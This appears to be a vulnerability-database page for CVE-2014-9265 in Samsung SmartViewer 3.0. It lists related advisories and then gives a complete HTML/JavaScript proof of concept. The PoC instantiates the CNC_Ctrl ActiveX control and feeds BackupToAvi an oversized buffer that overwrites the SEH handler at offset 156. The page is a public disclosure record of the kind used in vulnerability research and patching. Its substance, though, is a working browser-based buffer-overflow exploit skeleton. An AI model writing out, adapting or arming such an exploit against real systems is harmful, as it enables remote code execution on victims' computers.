Samsung SmartViewer BackupToAvi 3.0 Remote Code Execution

🗓️ 19 Jan 2015 00:00:00Reported by Praveen DarshanamType

packetstorm🔗 packetstormsecurity.com👁 33 Views

Samsung SmartViewer BackupToAvi 3.0 Remote Code Execution vulnerabilit

Reporter	Title	Published	Views	Family All 10
0day.today	Samsung SmartViewer BackupToAvi 3.0 - Remote Code Execution Exploit	20 Jan 201500:00	–	zdt
Check Point Advisories	Samsung SmartViewer CNC_Ctrl ActiveX Control Buffer Overflow (CVE-2012-4333; CVE-2014-9265)	19 Jan 201500:00	–	checkpoint_advisories
CVE	CVE-2014-9265	8 Dec 201416:00	–	cve
Cvelist	CVE-2014-9265	8 Dec 201416:00	–	cvelist
Exploit DB	Samsung SmartViewer BackupToAvi 3.0 - Remote Code Execution	19 Jan 201500:00	–	exploitdb
EUVD	EUVD-2014-9090	7 Oct 202500:30	–	euvd
exploitpack	Samsung SmartViewer BackupToAvi 3.0 - Remote Code Execution	19 Jan 201500:00	–	exploitpack
NVD	CVE-2014-9265	8 Dec 201416:59	–	nvd
Prion	Stack overflow	8 Dec 201416:59	–	prion
Zero Day Initiative	Samsung SmartViewer CNC_Ctrl ActiveX Control BackupToAvi Remote Code Execution Vulnerability	4 Dec 201400:00	–	zdi

`<html>  
<!--  
Samsung SmartViewer BackupToAvi Remote Code Execution PoC  
PoC developed by Praveen Darshanam  
  
For more details refer  
http://darshanams.blogspot.com  
http://blog.disects.com/2015/01/samsung-smartviewer-backuptoavi-remote.html  
Original Vulnerability Discovered by rgod  
Vulnerable: Samsung SmartViewer 3.0  
Tested on Windows 7 Ultimate N SP1  
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9265  
-->  
  
<object classid='clsid:208650B1-3CA1-4406-926D-45F2DBB9C299' id='target' ></object>  
<script >  
var payload_length = 15000;  
var arg1=1;  
var arg2=1;  
var arg3=1;  
//blank strings  
var junk = "";  
var buf1 = "";  
var buf2 = "";  
  
//offset to SE is 156, initial analysis using metasploit cyclic pattern  
for (i=0; i<156; i++)  
{  
buf1 += "A";  
}  
var nseh = "DD";  
var seh = "\x87\x10"; //from Vulnerable DLL  
junk = buf1 + nseh + seh;  
  
//remaining buffer  
for (j=0; j<(payload_length-junk.length); j++)  
{  
buf2 += "B";  
}  
//final malicious buffer  
var fbuff = junk + buf2;  
target.BackupToAvi(arg1 ,arg2 ,arg3 ,fbuff);  
  
</script>  
</html>  
  
`

19 Jan 2015 00:00Current

1Low risk

Vulners AI Score1

EPSS0.08551